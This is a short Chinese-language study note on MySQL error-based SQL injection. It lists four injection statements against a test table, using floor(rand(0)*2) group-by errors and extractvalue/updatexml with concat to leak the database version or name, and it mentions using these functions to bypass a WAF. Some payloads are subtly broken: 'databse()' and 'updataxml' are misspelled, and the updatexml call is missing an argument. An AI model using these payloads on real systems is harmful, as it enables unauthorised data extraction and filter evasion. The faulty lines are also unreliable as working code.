==========================第一次總結嘗試==============================

首先放一下測試的表

第一條報錯注入語句：

select password from sql_test where username = 'admin' and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

concat內為具體報錯語句

第二條報錯注入語句：

 select * from sql_test where id = 1 or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0) or 1;
 

version處替換成報錯語句

第三條報錯語句

 select * from sql_test where id = 1 and extractvalue(1,concat(0x5c,databse()));

第四條報錯語句

 select * from sql_test where id = 1 and updataxml(1,concat(0x5c,databse()));

database處換成報錯語句

順便提一句updataxml和extractvalue可以用於注入的時候進行繞過waf，用法找sql文件看一下吧

報錯語句替換，最核心的還是concat（）函式